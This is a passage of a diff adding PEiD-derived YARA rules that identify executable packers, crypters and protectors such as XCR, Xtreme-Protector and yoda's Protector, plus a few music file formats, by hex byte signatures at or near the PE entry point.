+        $a = {55 8B EC 83 C4 EC 33 C0 89 45 EC B8 54 20 44 44 E8 DF F8 FF FF 33 C0 55 68 08 21 44 44 64 FF 30 64 89 20 8D 55 EC B8 1C 21 44 44 E8 E0 F9 FF FF 8B 55 EC B8 40 ?? ?? 44 E8 8B F5 FF FF 6A 00 6A 00 6A 02 6A 00 6A 01 68 00 00 00 40 A1 40 ?? ?? 44 E8 7E F6 FF FF 50 E8 4C F9 FF FF 6A 00 50 E8 4C F9 FF FF A3 28 ?? ?? 44 E8 CE FE FF FF 33 C0 5A 59 59 64 89 10 68 0F 21 44 44 8D 45 EC E8 F1 F4 FF FF C3 E9 BB F2 FF FF EB F0 E8 FC F3 FF FF FF FF FF FF 0E 00 00 00 63 3A 5C 30 30 30 30 30 30 31 2E 64 61 74 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03496_X_Hider_1_0____GlobaL_
+{
+    meta:
+        description = "[X-Hider 1.0 -> GlobaL]"
+        ep_only = "false"
+    strings:
+        $a = {85 D2 74 23 8B 4A F8 41 7F 1A 50 52 8B 42 FC E8 30 00 00 00 89 C2 58 52 8B 48 FC E8 48 FB FF FF 5A 58 EB 03 FF 42 F8 87 10 85 D2 74 13 8B 4A F8 49 7C 0D FF 4A F8 75 08 8D 42 F8 E8 5C FA FF FF C3 8D 40 00 85 C0 7E 24 50 83 C0 0A 83 E0 FE 50 E8 2F FA FF FF 5A 66 C7 44 02 FE 00 00 83 C0 08 5A 89 50 FC C7 40 F8 01 00 00 00 C3 31 C0 C3 90}
+    condition:
+        $a
+}
+
+rule PEiD_03497_X_Pack_v1_4_2_
+{
+    meta:
+        description = "[X-Pack v1.4.2]"
+        ep_only = "false"
+    strings:
+        $a = {72 ?? C3 8B DE 83 ?? ?? C1 ?? ?? 8C D8 03 C3 8E D8 8B DF 83 ?? ?? C1 ?? ?? 8C C0 03 C3 8E C0 C3}
+    condition:
+        $a
+}
+
+rule PEiD_03498_X_PEOR_v0_99b_
+{
+    meta:
+        description = "[X-PEOR v0.99b]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 5D 8B CD 81 ED 7A 29 40 00 89 AD 0F 6D 40 00}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_03499_X_PEOR_v0_99b_
+{
+    meta:
+        description = "[X-PEOR v0.99b]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? ?? ?? 5D 8B CD 81 ED 7A 29 40 ?? 89 AD 0F 6D 40}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03500_XCF_File_Format_by_Adeline_Software_
+{
+    meta:
+        description = "[XCF File Format by Adeline Software]"
+        ep_only = "false"
+    strings:
+        $a = {46 72 61 6D 65 4C 65 6E F4 0F}
+    condition:
+        $a
+}
+
+rule PEiD_03501_XCR_v0_11_
+{
+    meta:
+        description = "[XCR v0.11]"
+        ep_only = "true"
+    strings:
+        $a = {60 8B F0 33 DB 83 C3 01 83 C0 01}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03502_XCR_v0_12_
+{
+    meta:
+        description = "[XCR v0.12]"
+        ep_only = "true"
+    strings:
+        $a = {60 9C E8 ?? ?? ?? ?? 8B DD 5D 81 ED ?? ?? ?? ?? 89 9D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03503_XCR_v0_13_
+{
+    meta:
+        description = "[XCR v0.13]"
+        ep_only = "true"
+    strings:
+        $a = {93 71 08 ?? ?? ?? ?? ?? ?? ?? ?? 8B D8 78 E2 ?? ?? ?? ?? 9C 33 C3 ?? ?? ?? ?? 60 79 CE ?? ?? ?? ?? E8 01 ?? ?? ?? ?? 83 C4 04 E8 AB FF FF FF ?? ?? ?? ?? 2B E8 ?? ?? ?? ?? 03 C5 FF 30 ?? ?? ?? ?? C6 ?? EB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03504_XJ___XPAL____LiNSoN_
+{
+    meta:
+        description = "[XJ / XPAL -> LiNSoN]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? 40 00 68 ?? ?? 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 44 53 56 57 66 9C}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03505_XM_music_file_
+{
+    meta:
+        description = "[XM music file]"
+        ep_only = "false"
+    strings:
+        $a = {45 78 74 65 6E 64 65 64 20 4D 6F 64 75 6C 65 3A}
+    condition:
+        $a
+}
+
+rule PEiD_03506_XMI_music_file_
+{
+    meta:
+        description = "[XMI music file]"
+        ep_only = "false"
+    strings:
+        $a = {46 4F 52 4D ?? ?? ?? ?? 58 4D 49 44}
+    condition:
+        $a
+}
+
+rule PEiD_03507_XPack_1_52___1_64_
+{
+    meta:
+        description = "[XPack 1.52 - 1.64]"
+        ep_only = "true"
+    strings:
+        $a = {8B EC FA 33 C0 8E D0 BC ?? ?? 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? EB}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_03508_XPack_1_67__com_
+{
+    meta:
+        description = "[XPack 1.67 [com]"
+        ep_only = "true"
+    strings:
+        $a = {E9 53 00 FF FD FF FB FF F9 FF BC 03 00 8B E5 4C 4C C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03509_XPack_1_67_
+{
+    meta:
+        description = "[XPack 1.67]"
+        ep_only = "true"
+    strings:
+        $a = {B8 8C D3 15 33 75 81 3E E8 0F 00 9A E8 F9 FF 9A 9C EB 01 9A 59 80 CD 01 51 9D EB}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_03510_xPEP_0_3x____xIkUg_
+{
+    meta:
+        description = "[xPEP 0.3x -> xIkUg]"
+        ep_only = "true"
+    strings:
+        $a = {55 53 56 51 52 57 E8 16 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03511_Xtreme_Protector_1_06_
+{
+    meta:
+        description = "[Xtreme-Protector 1.06]"
+        ep_only = "false"
+    strings:
+        $a = {B8 ?? ?? ?? 00 B9 75 ?? ?? 00 50 51 E8 05 00 00 00 E9 4A 01 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 8A 06 46 88 07 47 BB 02 00 00 00 02 D2 75 05 8A 16 46 12 D2 73 EA 02 D2 75 05 8A 16 46 12 D2 73 4F 33 C0 02 D2 75 05 8A 16 46 12 D2 0F 83 DF 00 00 00 02}
+    condition:
+        $a
+}
+/*
+rule PEiD_03512_Xtreme_Protector_v1_05_
+{
+    meta:
+        description = "[Xtreme-Protector v1.05]"
+        ep_only = "true"
+    strings:
+        $a = {E9 ?? ?? 00 00 00 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+*/
+
+rule PEiD_03513_Xtreme_Protector_v1_06_
+{
+    meta:
+        description = "[Xtreme-Protector v1.06]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? 00 B9 75 ?? ?? 00 50 51 E8 05 00 00 00 E9 4A 01 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 8A 06 46 88 07 47 BB 02 00 00 00 02 D2 75 05 8A 16 46 12 D2 73 EA 02 D2 75 05 8A 16 46 12 D2 73 4F 33 C0 02 D2 75 05 8A 16 46 12 D2 0F 83 DF 00 00 00 02 D2 75 05 8A 16 46 12 D2 13 C0 02 D2 75 05 8A 16 46 12 D2 13 C0 02 D2 75 05 8A 16 46 12 D2 13 C0 02 D2 75 05 8A 16 46 12 D2 13 C0 74 06 57 2B F8 8A 07 5F 88 07 47 BB 02 00 00 00 EB 9B B8 01 00 00 00 02 D2 75 05 8A 16 46 12 D2 13 C0 02 D2 75 05 8A 16 46 12 D2 72 EA 2B C3 BB 01 00 00 00 75 28 B9 01 00 00 00 02 D2 75 05 8A 16 46 12 D2 13 C9 02 D2 75 05 8A 16 46 12 D2 72 EA 56 8B F7 2B F5 F3 A4 5E E9 4F FF FF FF 48 C1 E0 08 8A 06 46 8B E8 B9 01 00 00 00 02 D2 75 05 8A 16 46 12 D2 13 C9 02 D2 75 05 8A 16 46 12 D2 72 EA 3D 00 7D 00 00 73 1A 3D 00 05 00 00 72 0E 41 56 8B F7 2B F0 F3 A4 5E E9 0F FF FF FF 83 F8 7F 77 03 83 C1 02 56 8B F7 2B F0 F3 A4 5E E9 FA FE FF FF 8A 06 46 33 C9 C0 E8 01 74 17 83 D1 02 8B E8 56 8B F7 2B F0 F3 A4 5E BB 01 00 00 00 E9 D9 FE FF FF 2B 7C 24 28 89 7C 24 1C 61 C2 08 00 E9 ?? ?? ?? 00 E9 38 ?? ?? ?? 01}
+    condition:
+        $a at pe.entry_point
+}
+/*
+rule PEiD_03514_XWD_graphics_format_
+{
+    meta:
+        description = "[XWD graphics format]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 71 00 00 00 07 00 00 00 02 00 00 00}
+    condition:
+        $a
+}
+*/
+rule PEiD_03515_XXPack_0_1____bagie_
+{
+    meta:
+        description = "[XXPack 0.1 -> bagie]"
+        ep_only = "true"
+    strings:
+        $a = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D EB 01 00 81 ED 5E 1F 40 00 EB 02 83 09 8D B5 EF 1F 40 00 EB 02 83 09 BA A3 11 00 00 EB 00 68 00 ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03516_y0da_s_Crypter_v1_0_
+{
+    meta:
+        description = "[y0da's Crypter v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED E7 1A 40 00 E8 A1 00 00 00 E8 D1 00 00 00 E8 85 01 00 00 F7 85}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_03517_y0da_s_Crypter_v1_1_
+{
+    meta:
+        description = "[y0da's Crypter v1.1]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 8A 1C 40 00 B9 9E 00 00 00 8D BD 4C 23 40 00 8B F7 33}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03518_y0da_s_Crypter_v1_x___Modified_
+{
+    meta:
+        description = "[y0da's Crypter v1.x / Modified]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED ?? ?? ?? ?? B9 ?? ?? 00 00 8D BD ?? ?? ?? ?? 8B F7 AC}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_03519_yC_1_3_by_Ashkbiz_Danehkar_
+{
+    meta:
+        description = "[yC 1.3 by Ashkbiz Danehkar]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 81 EC C0 00 00 00 53 56 57 8D BD 40 FF FF FF B9 30 00 00 00 B8 CC CC CC CC F3 AB 60 E8 00 00 00 00 5D 81 ED 84 52 41 00 B9 75 5E 41 00 81 E9 DE 52 41 00 8B D5 81 C2 DE 52 41 00 8D 3A 8B F7 33 C0 EB 04 90 EB 01 C2 AC}
+    condition:
+        $a
+}
+
+rule PEiD_03520_yoda_s_Crypter_1_3____Ashkbiz_Danehkar_
+{
+    meta:
+        description = "[yoda's Crypter 1.3 -> Ashkbiz Danehkar]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 6C 28 40 00 B9 5D 34 40 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03521_yoda_s_Crypter_1_3____Ashkbiz_Danehkar_
+{
+    meta:
+        description = "[yoda's Crypter 1.3 -> Ashkbiz Danehkar]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 6C 28 40 00 B9 5D 34 40 00 81 E9 C6 28 40 00 8B D5 81 C2 C6 28 40 00 8D 3A 8B F7 33 C0 EB 04 90 EB 01 C2 AC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03522_yoda_s_Protector_1_0_beta____Ashkbiz_Danehkar_
+{
+    meta:
+        description = "[yoda's Protector 1.0 beta -> Ashkbiz Danehkar]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 4C 32 40 00 E8 03 00 00 00 EB 01 ?? B9 EA 47 40 00 81 E9 E9 32 40 00 8B D5 81 C2 E9 32 40 00 8D 3A 8B F7 33 C0 E8 04 00 00 00 90 EB 01 ?? E8 03 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03523_yoda_s_Protector_1_01____Ashkbiz_Danehkar__h__
+{
+    meta:
+        description = "[yoda's Protector 1.01 -> Ashkbiz Danehkar (h)]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 53 56 57 E8 03 00 00 00 EB 01 ?? E8 86 00 00 00 E8 03 00 00 00 EB 01 ?? E8 79 00 00 00 E8 03 00 00 00 EB 01 ?? E8 A4 00 00 00 E8 03 00 00 00 EB 01 ?? E8 97 00 00 00 E8 03 00 00 00 EB 01 ?? E8 2D 00 00 00 E8 03 00 00 00 EB 01 ?? 60 E8 00 00 00 00}
+    condition:
+        $a
+}
+rule PEiD_03524_yoda_s_Protector_1_02___exe__scr__com_____Ashkbiz_Danehkar__h__
+{
+    meta:
+        description = "[yoda's Protector 1.02 (.exe,.scr,.com) -> Ashkbiz Danehkar (h)]"
+        ep_only = "false"
+    strings:
+        $a = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75}
+    condition:
+        $a
+}
+
+rule PEiD_03525_yoda_s_Protector_1_02___1_03____Ashkbiz_Danehkar_
+{
+    meta:
+        description = "[yoda's Protector 1.02 - 1.03 -> Ashkbiz Danehkar]"
+        ep_only = "true"
+    strings:
+        $a = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03526_yoda_s_Protector_1_02____Ashkibiz_Danehlar_
+{
+    meta:
+        description = "[yoda's Protector 1.02 -> Ashkibiz Danehlar]"
+        ep_only = "true"
+    strings:
+        $a = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2E E8 03 00 00 00 EB 01 ?? C3 60 E8 00 00 00 00 5D 81 ED 23 3F 42 00 8B D5 81 C2 72 3F 42 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3 E8 03 00 00 00 EB 01 ?? 33 DB B9 3A 66 42 00 81 E9 1D 40 42 00 8B D5 81 C2 1D 40 42 00 8D 3A 8B F7 33 C0 E8 03 00 00 00 EB 01 ?? E8 17 00 00 00 90 90 90 E9 C3 1F 00 00 33 C0 64 FF 30 64 89 20 43 CC C3 90 EB 01 ?? AC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03527_yoda_s_Protector_1_03_1____Ashkibiz_Danehlar_
+{
+    meta:
+        description = "[yoda's Protector 1.03.1 -> Ashkibiz Danehlar]"
+        ep_only = "true"
+    strings:
+        $a = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2E E8 03 00 00 00 EB 01 ?? C3 60 E8 00 00 00 00 5D 81 ED 74 72 42 00 8B D5 81 C2 C3 72 42 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3 E8 03 00 00 00 EB 01 ?? 33 DB B9 3F A9 42 00 81 E9 6E 73 42 00 8B D5 81 C2 6E 73 42 00 8D 3A 8B F7 33 C0 E8 03 00 00 00 EB 01 ?? E8 17 00 00 00 90 90 90 E9 98 2E 00 00 33 C0 64 FF 30 64 89 20 43 CC C3 90 EB 01 ?? AC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03528_yoda_s_Protector_1_0b____Ashkbiz_Danehkar__h__
+{
+    meta:
+        description = "[yoda's Protector 1.0b -> Ashkbiz Danehkar (h)]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 4C 32 40 00 E8 03 00 00 00 EB 01 ?? B9 EA 47 40 00 81 E9 E9 32 40 00 8B D5 81 C2 E9 32 40 00 8D 3A 8B F7 33 C0 E8 04 00 00 00 90 EB 01 ?? E8 03 00 00 00 EB 01}
+    condition:
+        $a
+}
+
+rule PEiD_03529_yoda_s_Protector_1_0b____Ashkbiz_Danehkar_
+{
+    meta:
+        description = "[yoda's Protector 1.0b -> Ashkbiz Danehkar]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 4C 32 40 00 E8 03 00 00 00 EB 01}
+    condition:
+        $a
+}
+
+rule PEiD_03530_yoda_s_Protector_1_0x____Ashkbiz_Danehkar_
+{
+    meta:
+        description = "[yoda's Protector 1.0x -> Ashkbiz Danehkar]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 53 56 57 E8 03 00 00 00 EB 01}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03531_yoda_s_Protector_V1_01____Ashkbiz_Danehkar___Sign_by_fly_
+{
+    meta:
+        description = "[yoda's Protector V1.01 -> Ashkbiz Danehkar ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 53 56 57 E8 03 00 00 00 EB 01 ?? E8 86 00 00 00 E8 03 00 00 00 EB 01 ?? E8 79 00 00 00 E8 03 00 00 00 EB 01 ?? E8 A4 00 00 00 E8 03 00 00 00 EB 01 ?? E8 97 00 00 00 E8 03 00 00 00 EB 01 ?? E8 2D 00 00 00 E8 03 00 00 00 EB 01 ?? 60 E8 00 00 00 00 5D 81 ED D5 E4 41 00 8B D5 81 C2 23 E5 41 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03532_yoda_s_Protector_v1_02___exe__scr__com_____Ashkbiz_Danehkar__h__
+{
+    meta:
+        description = "[yoda's Protector v1.02 (.exe,.scr,.com) -> Ashkbiz Danehkar (h)]"
+        ep_only = "true"
+    strings:
+        $a = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2E E8 03 00 00 00 EB 01 ?? C3 60 E8 00 00 00 00 5D 81 ED 23 3F 42 00 8B D5 81 C2 72 3F 42 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3 E8 03 00 00 00 EB 01 ?? 33 DB B9 35 66 42 00 81 E9 1D 40 42 00 8B D5 81 C2 1D 40 42 00 8D 3A 8B F7 33 C0 E8 03 00 00 00 EB 01 ?? E8 17 00 00 00 90 90 90 E9 BE 1F 00 00 33 C0 64 FF 30 64 89 20 43 CC C3 90 EB 01 ?? AC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03533_yoda_s_Protector_V1_02____Ashkbiz_Danehkar___Sign_by_fly_
+{
+    meta:
+        description = "[yoda's Protector V1.02 -> Ashkbiz Danehkar ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2E E8 03 00 00 00 EB 01 ?? C3 60 E8 00 00 00 00 5D 81 ED 23 3F 42 00 8B D5 81 C2 72 3F 42 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3 E8 03 00 00 00 EB 01 ?? 33 DB B9 3A 66 42 00 81 E9 1D 40 42 00 8B D5 81 C2 1D 40 42 00 8D 3A 8B F7 33 C0 E8 03 00 00 00 EB 01 ?? E8 17 00 00 00 90 90 90 E9 C3 1F 00 00 33 C0 64 FF 30 64 89 20 43 CC C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03534_yoda_s_Protector_V1_03_1____Ashkbiz_Danehkar___Sign_by_fly_
+{
+    meta:
+        description = "[yoda's Protector V1.03.1 -> Ashkbiz Danehkar ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2E E8 03 00 00 00 EB 01 ?? C3 60 E8 00 00 00 00 5D 81 ED 74 72 42 00 8B D5 81 C2 C3 72 42 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3 E8 03 00 00 00 EB 01 ?? 33 DB B9 3F A9 42 00 81 E9 6E 73 42 00 8B D5 81 C2 6E 73 42 00 8D 3A 8B F7 33 C0 E8 03 00 00 00 EB 01 ?? E8 17 00 00 00 90 90 90 E9 98 2E 00 00 33 C0 64 FF 30 64 89 20 43 CC C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03535_yoda_s_Protector_v1_03_2___exe__scr__com_____Ashkbiz_Danehkar__h__
+{
+    meta:
+        description = "[yoda's Protector v1.03.2 (.exe,.scr,.com) -> Ashkbiz Danehkar (h)]"
+        ep_only = "true"
+    strings:
+        $a = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2E E8 03 00 00 00 EB 01 ?? C3 60 E8 00 00 00 00 5D 81 ED 94 73 42 00 8B D5 81 C2 E3 73 42 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3 E8 03 00 00 00 EB 01 ?? 33 DB B9 BF A4 42 00 81 E9 8E 74 42 00 8B D5 81 C2 8E 74 42 00 8D 3A 8B F7 33 C0 E8 03 00 00 00 EB 01 ?? E8 17 00 00 00 90 90 90 E9 63 29 00 00 33 C0 64 FF 30 64 89 20 43 CC C3 90 EB 01 ?? AC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03536_yoda_s_Protector_V1_03_2____Ashkbiz_Danehkar___Sign_by_fly_
+{
+    meta:
+        description = "[yoda's Protector V1.03.2 -> Ashkbiz Danehkar ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2E E8 03 00 00 00 EB 01 ?? C3 60 E8 00 00 00 00 5D 81 ED 94 73 42 00 8B D5 81 C2 E3 73 42 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3 E8 03 00 00 00 EB 01 ?? 33 DB B9 BF A4 42 00 81 E9 8E 74 42 00 8B D5 81 C2 8E 74 42 00 8D 3A 8B F7 33 C0 E8 03 00 00 00 EB 01 ?? E8 17 00 00 00 90 90 90 E9 63 29 00 00 33 C0 64 FF 30 64 89 20 43 CC C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03537_Yoda_s_Protector_v1_03_2_Beta2____Ashkbiz_Danehkar_
+{
+    meta:
+        description = "[Yoda's Protector v1.03.2 Beta2 -> Ashkbiz Danehkar]"
+        ep_only = "true"
+    strings:
+        $a = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03538_yoda_s_Protector_v1_03_2_by_Ashkbiz_Danehkar_
+{
+    meta:
+        description = "[yoda's Protector v1.03.2 by Ashkbiz Danehkar]"
+        ep_only = "false"
+    strings:
+        $a = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2E E8 03 00 00 00 EB 01 ?? C3 60 E8 00 00 00 00 5D 81 ED 94 73 42 00 8B D5 81 C2 E3 73 42 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_03539_yoda_s_Protector_v1_03_3___exe__scr__com_____Ashkbiz_Danehkar__h__
+{
+    meta:
+        description = "[yoda's Protector v1.03.3 (.exe,.scr,.com) -> Ashkbiz Danehkar (h)]"
+        ep_only = "true"
+    strings:
